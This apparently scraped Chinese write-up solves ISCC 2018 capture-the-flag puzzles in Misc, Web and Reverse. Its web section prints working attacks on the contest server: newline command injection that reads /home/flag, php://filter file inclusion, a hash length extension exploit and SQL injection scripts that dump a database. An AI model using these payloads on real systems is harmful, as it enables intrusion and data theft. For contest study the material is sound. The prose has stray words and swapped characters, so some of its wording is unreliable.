题解部分:Misc(除misc500)、Web(除Only Admin、Only admin can see flag、有种你来绕、试试看)、Reverse、Pwn、Mobilejavascript
题目是一张图片,手指指向下提示图片下面还有内容。php
第一种方法:Windows环境下能够用010editor直接修改png的高而不会报错,由于windows的图片查看器会忽略错误的CRC校验码。因此咱们能够直接修改png的高,以下图。改完保存后便可看到flaghtml
第二种方法:Linux环境下直接修改可能会报错,是由于CRC校验错误。咱们能够利用图片中的的CRC校验码爆破出其本来的高。java
# -*- coding: utf-8 -*- import binascii import struct crc32key = 0x402E2D95 width = '\x00\x00\x02\x72' for i in range(256, 65535): height = struct.pack('>i', i) #CRC: 9A768270 data = '\x49\x48\x44\x52' + width + height + '\x08\x06\x00\x00\x00' crc32result = binascii.crc32(data) & 0xffffffff if crc32result == crc32key: print ''.join(map(lambda c: "%02X" % ord(c), height)) #height = '\x00\x00\x02\x72'
flag:_Welcome_To_ISCC_2018_python
以上两种方法以及png格式在这篇博客中讲解的很清楚,有不懂的能够看看。linux
16进制转字符串
git
flag:it's easy!github
培根密码,五位一组解码便可。web
flag:ILIKEISCC算法
题目是一段base64,通过8次base64解码后获得
U2FsdGVkX183BPnBd50ynIRM3o8YLmwHaoi8b8QvfVdFHCEwG9iwp4hJHznrl7d4%0AB5rKClEyYVtx6uZFIKtCXo71fR9Mcf6b0EzejhZ4pnhnJOl+zrZVlV0T9NUA+u1z%0AiN+jkpb6ERH86j7t45v4Mpe+j1gCpvaQgoKC0Oaa5kc=
%0A是字符'\n',记得替换掉。
搜了一下这串的头,发现是AES加密,不须要密码,在线解密 获得
答案就是后面这句但已加密 缽娑遠呐者若奢顛悉呐集梵提梵蒙夢怯倒耶哆般究有栗
与佛论禅加密,解码获得
flag:把我复制走
一张png图片,用010打开会发现图片末尾有一段可疑的数据
\u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d
这是html实体编码,解开后发现是unicode,再解编码就能够获得flag
>>> from HTMLParser import HTMLParser >>> h = HTMLParser() >>> h.unescape('''\u0066\u006c\u0061\u0067& #92;u007b\u0069\u0073\u0063\u00 ;63\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d''') u'\\u0066\\u006c\\u0061\\u0067\\u007b\\u0069\\u0073\\u0063\\u0063\\u0020\\u0069\\u0073\\u0020\\u0066\\u0075\\u006e\\u007d' >>> h.unescape('''\u0066\u006c\u0061\u0067& #92;u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\ 17;0066\u0075\u006e\u007d''').decode('unicode-esca pe').encode('utf-8') 'flag{iscc is fun}'
一张png图片,binwalk发现有不少zlib数据,提出来没发现什么有用的。因而尝试pngcheck一下。
发现是firework处理的,用adobe firework打开,发现有不少二维码碎片,拼接获得二维码。
flag{a332b700-3621-11e7-a53b-6807154a58cf}
题目描述以下
凯撒十三世在学会使用键盘后,向你扔了一串字符:“ebdgc697g95w3”,猜猜它吧。
因而先rot13变换一下获得roqtp697t95j3
根据题目提示键盘移位,即q==>a,r==>f,7==>u,以此类推。
flag:yougotme
一张jpg图片,binwalk没发现异常,用010打开搜文件尾FFD9时发现后面还有一堆数据,手动提出来,file一下发现是.doc文件,改后缀名用word打开,内容以下。
名西三陵帝焰数诵诸山众參哈瑟倒陰捨劫奉惜逝定雙月奉倒放足即闍重号貧老诵夷經友利普过孕北至花令藐灯害蒙能羅福羅夢开雙禮琉德护慈積寫阿璃度戏便通故西故敬于瑟行雙知宇信在礙哈数及息闍殺陵游盧槃药諦慈灯究幽灯豆急彌貧豆親诵梭量树琉敬精者楞来西陰根五消夢众羅持造彌六师彌怖精僧璃夫薩竟祖方夢訶橋經文路困如牟憐急尼念忧戏輸教乾楞能敬告树来楞殊倒哈在紛除亿茶涅根輸持麼阿空瑟稳住濟号他方牟月息盡即来通貧竟怖如槃精老盡恤及游薩戏师毒兄宝下行普鄉释下告劫惜进施盡豆告心蒙紛信胜东蒙求帝金量礙故弟帝普劫夜利除積众老陀告沙師尊尼捨惜三依老蒙守精于排族祖在师利寫首念凉梭妙經栗穆愛憐孝粟尊醯造解住時刚槃宗解牟息在量下恐教众智焰便醯除寂想虚中顛老弥诸持山諦月真羅陵普槃下遠涅能开息灯和楞族根羅宝戒药印困求及想月涅能进至贤金難殊毘瑟六毘捨薩槃族施帝遠念众胜夜夢各万息尊薩山哈多皂诵盡药北及雙栗师幽持牟尼隸姪遠住孕寂以舍精花羅界去住勒排困多閦呼皂難于焰以栗婦愛闍多安逝告槃藐矜竟孕彌弟多者精师寡寫故璃舍各亦方特路茶豆積梭求号栗怖夷凉在顛豆胜住虚解鄉姪利琉三槃以舍劫鄉陀室普焰于鄉依朋故能劫通
也是与佛论禅加密,解码获得一串16进制数。这串数的解码脚本以下。
import base64 import libnum s = 0x523156615245644E536C564856544E565130354B553064524D6C524E546B4A56535655795645644F5530524857544A4553553943566B644A4D6C524E546C7052523155795645744F536C5248515670555330354452456456576B524854554A585231457956554E4F51305A4855544E4553303153566B64424D6C524A546B7058527A525A5245744F576C5A4854544A5554553554513063304E46524C54564A5652316B795255744F51305A4856544E5554564661566B6C464D6B5252546B70595231557A5245394E516C5A4856544A555355354B566B644E5756524E5455705752316B7A5255564F55305248566B465553564A4356306C4E4D6C524E546B4A565231557952453152556C564A56544A455555354B5530644E5756525054554A56523030795645314F516C5A4857544A4553303143566B64464D305648546B744352314A425645744F576C5A4855544A4651303543566B64564D6B524854554A555230557A52454E4F536C644855544A5554553543566B645A4D6B564A546C4E445231566152456C52576C5A4855544A5553303544516B64564D6C524C54564A55523045795245314F556C4A4856544E455355354B56556C564D6B564E546B70535230315A52457452536C564951544A555455354B565564535156524A54564A575230457956456C4E576C46485454525553303143566B6446576C564A54544A46 s = libnum.n2s(s) #print s s = base64.b64decode(s) s = base64.b32decode(s) #print s s = libnum.n2s(eval('0x'+s)) s = base64.b64decode(s) s = base64.b32decode(s) s = libnum.n2s(eval('0x'+s)) print s
F1a9_is_I5cc_ZOl8_G3TP01NT
zip伪加密,直接修改伪加密位为偶数便可直接打开,具体原理详见博客
获得vfppjrnerpbzvat,vfpp很像iscc的移位,因此凯撒密码解密便可(其实也就是rot13)。
isccwearecoming
这题有三层压缩包加密,对应的解决方法分别是爆破,明文攻击和伪加密。
获得第一层密码18803718888
注意:第一层的解压缩应在linux环境下进行
从第一层解压缩获得两个文件(2.zip和tips.txt),打开tips.txt看到第二层提示十位大小写字母数字特殊符号构成的密码 ,因而爆破是不可能了,尝试明文攻击。
在linux环境下将tips.txt压缩为tips.zip。
对比2.zip和tips.zip的结构以下
能够看到两个zip里的tips.txt文件crc32值相等,因而明文攻击。
明文攻击的结果以下
Advanced ZIP Password Recovery statistics:
Encrypted ZIP-file:2018ISCC\misc\300\3\2.zip
Total passwords: 0
Total time: 3m 40s 724ms
Average speed (passwords per second): 0
Password for this file: Z!C@t#f$12
Password in HEX: 5a 21 43 40 74 23 66 24 31 32
获得第二层密码Z!C@t#f$12
将2.zip解压获得1.zip,用010打开以下图
修改伪加密位05(奇数)为00(偶数),保存打开获得flag.txt
ISCC_!S_my_favor1te_CTF
只要比服务器上的数字大就行了
根据题目描述,先在输入框随便输入一个数字,提交响应是数字过小,因此输入尽可能大的数,发现只能输入3位,F12打开浏览器控制台,在查看器中将 maxlength="3"删掉,提交9999便可以拿到key
key is 768HKyu678567&*&K
题目给出了源代码
<?php highlight_file('2.php'); $flag='{***************}'; if (isset($_GET['password'])) { if (strcmp($_GET['password'], $flag) == 0) die('Flag: '.$flag); else print 'Invalid password'; } ?>
这是一道考察PHP特性的题目,strcmp函数有问题,只要使用get方法传入password[]参数就能够,参数值随意,当strcmp比较的两个参数类型不一样时,一定返回0
Flag: ISCC{iscc_ef3w5r5tw_5rg5y6s3t3}
题目原来的目的是要在header中加X-Forwarded-For,可是不知道发生了什么,主办方表示环境没法实现,直接打印了源码送分。。。
ISCC{^&*(UIHKJjkadshf}
callback参数显得很是特殊,里面有几个符号被url编码了,先decode回去获得
+/v+ +ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA+AC0-
尝试base64解码,在去掉+/v++后,能够看出解出来的明文包含一段js代码,只是每一个正常的字符后面都跟着一个乱码,去掉后获得js代码
提交这个key值便可获得flag:flag{Hell0World}
题目描述:好像有个文件忘记删了
扫描一下目录能够发现index.php.txt泄露了源代码
<?php include "flag.php"; if ($_SERVER["REQUEST_METHOD"] != "POST") die("flag is here"); if (!isset($_POST["flag"]) ) die($_403); foreach ($_GET as $k => $v){ $$k = $$v; } foreach ($_POST as $k => $v){ $$k = $v; } if ( $_POST["flag"] !== $flag ) die($_403); echo "flag: ". $flag . "\n"; die($_200); ?>
两个foreach中的代码存在明显的变量覆盖漏洞,因为POST参数必须包含flag,因此最后一个if判断一定成立,因此只要POST参数包含flag参数,就会执行最后两句代码,而flag变量也确定会被覆盖成用户POST过去的flag参数内容,因此必须在第一个foreach中将原来的flag变量赋给$_200,因此GET的参数是_200=flag,POST参数包含flag,flag内容能够是任意值或者为空
ISCC{taolu2333333....}
题目描述:没过滤好啊
看题目描述觉得是注入,后来发现id参数只是个长整型数直接打印出来,并非注入点,f参数比较奇怪,后来发现构造这样一个连接页面会崩溃
http://118.190.152.202:8008/index.php?f=index
显然就是对本页面循环包含所致,直接用伪协议包含index.php,flag就在PHP代码里
http://118.190.152.202:8008/index.php?f=Php://filter/read=convert.base64-encode/resource=index
<!DOCTYPE html> <html lang="en"> <head> <title>导航页</title> <meta charset="UTF-8"> </head> <body> <a href='index.php?f=articles&id=1'>ID: 1</href> </br> <a href='index.php?f=articles&id=2'>ID: 2</href> </br> <a href='index.php?f=articles&id=3'>ID: 3</href> </br> <a href='index.php?f=articles&id=4'>ID: 4</href> </br> </body> </html> <?php #ISCC{LFIOOOOOOOOOOOOOO} if(isset($_GET['f'])){ if(strpos($_GET['f'],"php") !== False){ die("error..."); } else{ include($_GET['f'] . '.php'); } } ?>
ISCC{LFIOOOOOOOOOOOOOO}
打开题目页面,提示不是本机IP,尝试XFF无效,PHP中检查IP的值除了REMOTE_ADDR和HTTP_X_FORWARDED_FOR以外,还有一个不经常使用的HTTP_CLIENT_IP,在header中添加Client-ip字段,flag就来了
ISCC{iscc_059eeb8c0c33eb62}
题目描述:我都过滤了,看你怎么绕。
感受题目描述很差理解,刚开始真的去ping题目IP,考虑利用恶意ICMP包进行攻击,好像想一想这是个挂在docker里的题目,不可能那么作,有关IP的题目,之前见过命令执行漏洞的,试着传入ip参数,emmm,果真是命令执行,管道和&符合都被过滤了,用\n(%0a)能够继续执行命令
http://118.190.152.202:8018/?ip=localhost%0acat%0a/home/flag
ISCC{8a8646c7a2fce16b166fbc68ca65f9e4}
看题目意思就是要传username和password两个参数过去,尝试用get方法传参,收到的响应源码是 Username is not right
Password is not numeric
,emmm,又是后台源码泄露<?php error_reporting(0); $flag = "***********"; if(isset($_GET['username'])){ if (0 == strcasecmp($flag,$_GET['username'])){ $a = fla; echo "very good!Username is right"; } else{ print 'Username is not right<!--index.php.txt-->';} }else print 'Please give me username or password!'; if (isset($_GET['password'])){ if (is_numeric($_GET['password'])){ if (strlen($_GET['password']) < 4){ if ($_GET['password'] > 999){ $b = g; print '<p>very good!Password is right</p>'; }else print '<p>Password too little</p>'; }else print '<p>Password too long</p>'; }else print '<p>Password is not numeric</p>'; } if ($a.$b == "flag") print $flag; ?>
username的判断和web01相同,username参数传数组进去就能够了;第二个判断要求传入一个长度小于4数值大于999的数字,科学计数法1e3便可:username[]=&password=1e3
flag{ISCC2018_Very_GOOD!}
代码审查题目
<?php include "secret.php"; @$username=(string)$_POST['username']; function enc($text){ global $key; return md5($key.$text); } if(enc($username) === $_COOKIE['verify']){ if(is_numeric(strpos($username, "admin"))){ die($flag); } else{ die("you are not admin"); } } else{ setcookie("verify", enc("guest"), time()+60*60*24*7); setcookie("len", strlen($key), time()+60*60*24*7); } show_source(__FILE__);
这份代码的漏洞在于验证过程彻底依赖$key即md5盐值的保密,可是md5算法存在另一个漏洞——hash长度扩展漏洞,原理能够参考往年ISCC的另外一道题的分析,由源代码结合长度扩展攻击的须要,发现要构造的username必须以guest开头,并包含admin,由于cookie中已经设置了key的长度为46,因此一开始$key.$text有(46+5)*8=408位,填充满512位只须要5个字符,紧接着填充原文长度,即5七、58填充\x98\x01,后面继续填充6个\x00补满一块(512位),第二块内容只写admin,第一块消息产生的链变量便是第二块的初始链变量,该链变量便是cookie中的verify高低位互换的结果
在Assassin大佬的一篇博客里有一份实现md5哈希单独一块的Python代码,这样写起来就很方便了
#! /usr/bin/python2 # *__ coding: utf-8 __* import assassin_md5 #将Assassin大佬的代码保存为assassin_md5.py放到exp.py同一目录下 import hashlib import urllib import requests #将哈希值分为四段,并反转该四字节为小端序,做为64第二次循环的输入幻书 # 78cfc57d983b4a17e55828c001a3e781 s1 = 0x7dc5cf78 s2 = 0x174a3b98 s3 = 0xc02858e5 s4 = 0x81e7a301 secret = "a"*46 + "guest" secret_admin= secret +'\x80'+'\x00'*4+'\x98\x01'+'\x00'*6+"admin" r = assassin_md5.deal_rawInputMsg(secret_admin) inp = r[len(r)/2:] #咱们须要截断的地方,也是咱们须要控制的地方 #print r #print inp #print urllib.urlencode({'username': secret_admin[46:]}) #print "getmein:"+assassin_md5.run_md5(s1,s2,s3,s4,inp) url = 'http://118.190.152.202:8002' headers = {"Cookie": "verify="+assassin_md5.run_md5(s1,s2,s3,s4,inp), "len": "46"} data = {"username": str(secret_admin[46:])} res = requests.post(headers = headers, url = url, data = data) print res.content
运行获得flag:ISCC{MD5_1s_n0t_5afe}
或者利用github上的一个工具hash_extender
$./hash_extender -d guest -s 78cfc57d983b4a17e55828c001a3e781 -f md5 -a admin --out-data-format=html -l 46 --quiet 5f585093a7fe86971766c3d25c43d0ebguest%80%00%00%00%00%98%01%00%00%00%00%00%00admin
guest前面32位就是md5值,剩下的是username参数的值,利用浏览器插件或者burpsuite改一下post的包便可
题目已经说了是注入题,有只有一个参数,因此注入点是肯定的,各类姿式试一遍,发现下面两个输入的结果不同,因此是宽字节注入
http://118.190.152.202:8015/index.php?id=1 %df%27 && 1=2%23
http://118.190.152.202:8015/index.php?id=-1 %df%27 || 1=1%23
既然是宽字节注入,直接扔进sqlmap跑就能够了
sqlmap -u http://118.190.152.202:8015/index.php?id=-1%df%27 --dbs sqlmap -u http://118.190.152.202:8015/index.php?id=-1%df%27 -D baji --tables sqlmap -u http://118.190.152.202:8015/index.php?id=-1%df%27 -D baji -T admins --columns sqlmap -u http://118.190.152.202:8015/index.php?id=-1%df%27 -D baji -T admins -C flag --dump
flag:Y0u_@@33w_dxxmn_9rf0Od
除了用sqlmap跑也能够本身写个脚本跑,快不少,因为测试过程当中where条件没有生效,因此在匹配数据库的表名和字段名的部分有点繁琐
#! /usr/bin/python2 # *__ coding: utf-8 __* import requests from bs4 import BeautifulSoup #获取数据库名 url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,7,8%23" res = requests.get(url) soup = BeautifulSoup(res.content, 'lxml') res = soup.find_all('tr')[0] print("database: " + str(res)[32:-10]) db = str(res)[32:-10] #获取全部数据库的表的总数 url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select count(*) from information_schema.tables),8%23" res = requests.get(url) soup = BeautifulSoup(res.content, 'lxml') res = soup.find_all('tr')[1] print("tables_count: " + str(res)[33:-10]) count = int(str(res)[33:-10]) #遍历全部表名,找出属于当前数据库的表 tableList = [] for i in range(count): print("\r[+] " + str(i) + "/" + str(count), end='') url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select table_name from information_schema.tables limit " + str(i) + ",1),8%23" res = requests.get(url) soup = BeautifulSoup(res.content, 'lxml') res = soup.find_all('tr')[1] tb = str(res)[33:-10] url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select count(*) from " + db + "." + tb + "),8%23" res = requests.get(url) if(len(res.content) < 2000): continue tableList.append(db + "." + tb) print("\n[OK] ", end='') print(tableList) #获取字段总数 columnsList = [] url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select count(*) from information_schema.columns),8%23" res = requests.get(url) soup = BeautifulSoup(res.content, 'lxml') res = soup.find_all('tr')[1] print("columns_count: " + str(res)[33:-10]) count = int(str(res)[33:-10]) #遍历全部字段名,找出当前数据库中存在的字段 for i in range(count): print("\r[+] " + str(i) + "/" + str(count), end='') url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select column_name from information_schema.columns limit " + str(i) + ",1),8%23" res = requests.get(url) soup = BeautifulSoup(res.content, 'lxml') res = soup.find_all('tr')[1] cl = str(res)[33:-10] for tb in tableList: url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select count(" + cl + ") from " + tb + "),8%23" res = requests.get(url) if(len(res.content) < 2000): continue else: columnsList.append(tb) columnsList.append(cl) res = requests.get(url) soup = BeautifulSoup(res.content, 'lxml') res = soup.find_all('tr')[1] clcount = int(str(res)[33:-10]) columnsList.append(clcount) print("\n[OK] ", end='') print(len(columnsList)) print(columnsList) #dump当前数据库数据 for i in range(0, len(columnsList), 3): print("[+] " + str(i) + "/" + str(len(columnsList))) for j in range(columnsList[i + 2]): url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select " + columnsList[i + 1] + " from " + columnsList[i] + " limit " + str(j) + ", 1),8%23" res = requests.get(url) if(len(res.content) < 2000): continue soup = BeautifulSoup(res.content, 'lxml') res = soup.find_all('tr')[1] print(columnsList[i], columnsList[i + 1], str(res)[33:-10])
执行结果显示,数据库名是baji,表名是admins,有一个字段名是flag
题目描述:据说你用php?
代码审计题
<?php header("content-type:text/html;charset=utf-8"); if(isset($_POST['username'])&isset($_POST['password'])){ $username = $_POST['username']; $password = $_POST['password']; } else{ $username="hello"; $password="hello"; } if(md5($password) == 0){ echo "xxxxx"; } ?>
明显的PHP弱类型,随便找一个md5值是0e开头的字符串输入到密码框装便可,绕过该比较后获得一个连接,是另外一份审计代码
<?php include 'flag.php'; $a = @$_REQUEST['a']; @eval("var_dump($$a);"); show_source(__FILE__); ?>
连接默认参数a=hello,将hello改成GLOBALS,就能够打印出当前PHP文件声明的全部变量,能够看到有一个是flag(固然,a=flag就只打印了flag)
ISCC{a39f9a1ff7eb4bab8a6a21b2ce111b4}
根据题目提示,设置Referer为http://edu.xss.tv,同时XFF设置为110.110.110.110,进入第二关,查看源代码能够发现应该password.js,该文件内
var password = eval(function(p,a,c,k,e,r){e=String;if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'^$'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4',[],1,''.split('|'),0,{}));
里面那段base64编码的内容解码出来就是,因此密码输入xinyiji.com,获得flag:B1H3n5u0xI2n9JIscc
题目描述:注注注
没有任何过滤的盲注,直接贴脚本
import requests import string dic = string.printable url = 'http://118.190.152.202:8011/' headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86; rv:59.0) Gecko/20100101 Firefox/59.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '28', 'Cookie': 'PHPSESSID=rq3r0ek7jabavlv5bjntif8ul3', 'DNT': '1', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1'} #username = '''admin' and if(ascii(substr(database(),{i},1))>{j},1,0)#''' % i,j #for i in range(20): # username = '''admin' and if(length(database())=%s, 1, 0)#''' % str(i) # data = {'username': username, # 'password': 'aaa'} # res = requests.post(headers = headers, url = url, data = data) # if('normal' in res.text): # dblen = i # break #print(dblen) dblen = 13 # #db = '' #for i in range(1, dblen + 1): # for j in dic: # username = '''admin' and if(substr(database(),%d,1)="%c", 1, 0)#''' % (i,j) # data = {'username': username, # 'password': 'aaa'} # res = requests.post(headers = headers, url = url, data = data) # if('normal' in res.text): # db += j # print(db) # break # #print(db) db = 'sqli_database' #for i in range(20): # username = '''admin' and if((select count(table_name) from information_schema.tables where table_schema="sqli_database")=%d, 1, 0)#''' % i # data = {'username': username, # 'password': 'aaa'} # res = requests.post(headers = headers, url = url, data = data) # if('normal' in res.text): # tbcount = i # break #print(tbcount) tbcount = 2 #tblen = [] #for i in range(tbcount): # for j in range(20): # username = '''admin' and if((select length(table_name) from information_schema.tables where table_schema="sqli_database" limit %d,1)=%d, 1, 0)#''' % (i, j) # data = {'username': username, # 'password': 'aaa'} # res = requests.post(headers = headers, url = url, data = data) # if('normal' in res.text): # tblen.append(j) # break # print(tblen) tblen = [4,4] # #tbnames = [] #for k in range(tbcount): # tb = '' # for i in range(1, tblen[k] + 1): # for j in dic: # username = '''admin' and if(substr((select table_name from information_schema.tables where table_schema="sqli_database" limit %d,1),%d,1)="%c", 1, 0)#''' % (k,i,j) # data = {'username': username, # 'password': 'aaa'} # res = requests.post(headers = headers, url = url, data = data) # if('normal' in res.text): # if(j == dic[-1]): # i = dblen + 1 # break # tb += j # print(tb) # break # tbnames.append(tb) # #print(tbnames) tbnames = ['news', 'user'] #colcount = [] #for tb in tbnames: # for i in range(50): # username = '''admin' and if((select count(column_name) from information_schema.columns where table_name="%s")=%d, 1, 0)#''' % (tb,i) # data = {'username': username, # 'password': 'aaa'} # res = requests.post(headers = headers, url = url, data = data) # if('normal' in res.text): # colcount.append(i) # print(i) # break #print(colcount) #colcount = [6, 45] # #collen = [] #for k in range(tbcount): # for i in range(colcount[k]): # for j in range(50): # username = '''admin' and if(length((select column_name from information_schema.columns where table_name="%s" limit %d,1))=%d, 1, 0)#''' % (tbnames[k], i, j) # data = {'username': username, # 'password': 'aaa'} # res = requests.post(headers = headers, url = url, data = data) # if('normal' in res.text): # collen.append(j) # break # print(collen) #exit() #collen = [5, 4, 30, 2, 4, 4, 4, 4, 8, 11, 11, 11, 11, 11, 9, 11, 13, 12, 9, 10, 15, 10, 10, 12, 10, 21, 16, 12, 15, 16, 16, 14, 19, 18, 16, 10, 12, 22, 8, 10, 11, 12, 13, 11, 15, 20, 6, 21, 8, 4, 2] # #colnames = [] #for k in range(tbcount): # for lm in range(colcount[k]): # col = '' # print(collen[lm]) # for i in range(1, collen[lm] + 1): # for j in dic: # username = '''admin' and if(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1)="%c", 1, 0)#''' % (tbnames[k], lm, i, j) # data = {'username': username, # 'password': 'aaa'} # res = requests.post(headers = headers, url = url, data = data) # if('normal' in res.text): # if(j == dic[-1]): # i = collen[lm] + 1 # break # col += j # print(tbnames[k], col) # break # colnames.append(tbnames[k] + ':' + col) # #print(colnames) #colnames = ['news:title', 'news:note', 'news:kjafuibafuohnuvwnruniguankacbh', 'news:id', 'news:date', 'news:text', 'user:host ', 'user:user', 'user:password ', 'user:se', 'user:inse', 'user:upda', 'user:dele', 'user:crea', 'user:drop_pri', 'user:reload_priv', 'user:shutdown_pr', 'user:process_pri', 'user:file_priv ', 'user:grant_priv ', 'user:reference', 'user:index_priv ', 'user:alter_priv ', 'user:show_db_priv', 'user:super_pri', 'user:create_tmp', 'user:lock_tables_pri', 'user:execute_pr', 'user:repl_slave', 'user:repl_client_', 'user:create_vie', 'user:show_view_priv ', 'user:create_routine_p', 'user:alter_routin', 'user:create_user_pri', 'user:event_priv ', 'user:trigger_priv ', 'user:create_tablesp', 'user:ssl_type ', 'user:ssl_cipher ', 'user:x509_issuer ', 'user:x509_subje', 'user:max_question', 'user:max_updates ', 'user:max_conn', 'user:max_user_c', 'user:plugin ', 'user:authenticati', 'user:username ', 'user:pass ', 'user:id '] for i in range(50): username = '''admin' and if(((select count(kjafuibafuohnuvwnruniguankacbh) from sqli_database.news))="%d", 1, 0)#''' % (i) data = {'username': username, 'password': 'aaa'} res = requests.post(headers = headers, url = url, data = data) if('normal' in res.text): datacount = i break print(datacount) #datacount = 1 for i in range(50): username = '''admin' and if(((select length(kjafuibafuohnuvwnruniguankacbh) from sqli_database.news))="%d", 1, 0)#''' % (i) data = {'username': username, 'password': 'aaa'} res = requests.post(headers = headers, url = url, data = data) if('normal' in res.text): datalen = i break print(datalen) flag = '' for i in range(1, datalen + 1): for j in dic: username = '''admin' and if(substr((select kjafuibafuohnuvwnruniguankacbh from sqli_database.news limit 0,1),%d,1)="%c", 1, 0)#''' % (i, j) data = {'username': username, 'password': 'aaa'} res = requests.post(headers = headers, url = url, data = data) if('normal' in res.text): flag += j break print(flag)
flag{hahaha999999999}
= =不明白rsa为何要放到逆向里
给了三个加密后的文件和公钥证书,使用openssl查看n和e,n能够直接在线分解,因而问题就变得很简单了,直接生成私钥,而后解密便可
$openssl rsa -pubin -text -modulus -in ./public.key Public-Key: (256 bit) Modulus: 00:d9:9e:95:22:96:a6:d9:60:df:c2:50:4a:ba:54: 5b:94:42:d6:0a:7b:9e:93:0a:ff:45:1c:78:ec:55: d5:55:eb Exponent: 65537 (0x10001) Modulus=D99E952296A6D960DFC2504ABA545B9442D60A7B9E930AFF451C78EC55D555EB writing RSA key -----BEGIN PUBLIC KEY----- MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhANmelSKWptlg38JQSrpUW5RC1gp7npMK /0UceOxV1VXrAgMBAAE= -----END PUBLIC KEY----- $rsatool -n 98432079271513130981267919056149161631892822707167177858831841699521774310891 -p 302825536744096741518546212761194311477 -q 325045504186436346209877301320131277983 -e 65537 -v DER -o privkey.key Using (p, q) to initialise RSA instance n = d99e952296a6d960dfc2504aba545b9442d60a7b9e930aff451c78ec55d555eb e = 65537 (0x10001) d = 4547b732cbc3527104cb57c4728d6899b44c4994fae2713d6b594bc0f522a41 p = 302825536744096741518546212761194311477 (0xe3d213b0a3c9551f9fb1eb8d7c3daf35) q = 325045504186436346209877301320131277983 (0xf4897caaba80236bdc1b59385c4bf49f) dP = 14892453193253029554515379766076098477 (0xb342ea1b63c55825ba12d5b64ebc7ad) dQ = 49314546715988473539600683690526958771 (0x2519a2df68323ead839466a1e566e4b3) qInv = 202808955982661073098368600366992163939 (0x98939589a7919cfaf48f7486a78d8463) Saving PEM as privkey.key $for i in `ls encrypted*`;do openssl rsautl -decrypt -in $i -inkey ./privkey.key;done flag{3b6d3806-4b2b -11e7-95a0- 000c29d7e93d}
或者练习一下pycrypto的用法
fujian cat decrypt.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 from base64 import b64decode, b64encode with open("./privkey.key") as f: prikey = f.read() rsakey = RSA.importKey(prikey) cipher = PKCS1_v1_5.new(rsakey) flag = "" with open("./encrypted.message1") as f1, open("./encrypted.message2") as f2, open("./encrypted.message3") as f3: flag += cipher.decrypt(f1.read(), "ERROR") flag += cipher.decrypt(f2.read(), "ERROR") flag += cipher.decrypt(f3.read(), "ERROR") print flag.replace("\n", "") # flag{3b6d3806-4b2b-11e7-95a0-000c29d7e93d}
这个题学到了很多东西,值得认真写一下
下载好文件后发现是upx的壳,upx -d直接脱掉后运行,发现是经典的check输入的题目(做为一个linuxer,首先用wine模拟运行了一下,这也为我后来的解题减小了很多麻烦,后边会说到)
ISCC2018_re150 [master●●] file leftleftrightright.exe leftleftrightright.exe: PE32 executable (console) Intel 80386, for MS Windows, UPX compressed ISCC2018_re150 [master●●] upx -d ./leftleftrightright.exe Ultimate Packer for eXecutables Copyright (C) 1996 - 2013 UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013 File size Ratio Format Name -------------------- ------ ----------- ----------- 18432 <- 10752 58.33% win32/pe leftleftrightright.exe Unpacked 1 file. ISCC2018_re150 [master●●] file leftleftrightright.exe leftleftrightright.exe: PE32 executable (console) Intel 80386, for MS Windows ISCC2018_re150 [master●●] chmod +x leftleftrightright.exe ISCC2018_re150 [master●●] ./leftleftrightright.exe 0009:fixme:msvcp:_Locinfo__Locinfo_ctor_cat_cstr (0x32fcbc 1 C) semi-stub aaaaaaa 0009:fixme:msvcp:_Locinfo__Locinfo_ctor_cat_cstr (0x32fd1c 1 C) semi-stub try again! 请按任意键继续...%
拖到IDA里分析以前,先搜索了一波字符串,发现存在IsDebuggerPresent和疑似加密后的flag:s_imsaplw_e_siishtnt{g_ialt}F,若是须要调试,要先nop掉IsDebuggerPresent,先静态分析,拖到IDA里F5大法,main函数的伪代码和汇编都很乱,但大体能够看出把咱们的输入通过一通操做后扔给sub_401090()函数check,经过即为正确的flag,同时能看出flag的长度为29(0x1D)
if ( sub_401090(v16) || v15 < 0x1D || (v17 = "flag is right!", v15 > 0x1D) ) v17 = "try again!"; v18 = sub_401BF0(std::cout, v17, sub_401E30); std::basic_ostream<char,std::char_traits<char>>::operator<<(v18, v19); system("pause");
这时首先想的是经过调试快速肯定怎么对输入进行变化的,因而到windows下试图用Ollydbg调试(调试以前要先找到对IsDebuggerPresent的调用并nop掉,能够在IDA的import页面经过x交叉引用找到),这时遇到了第一个问题:文件在windows下直接crash
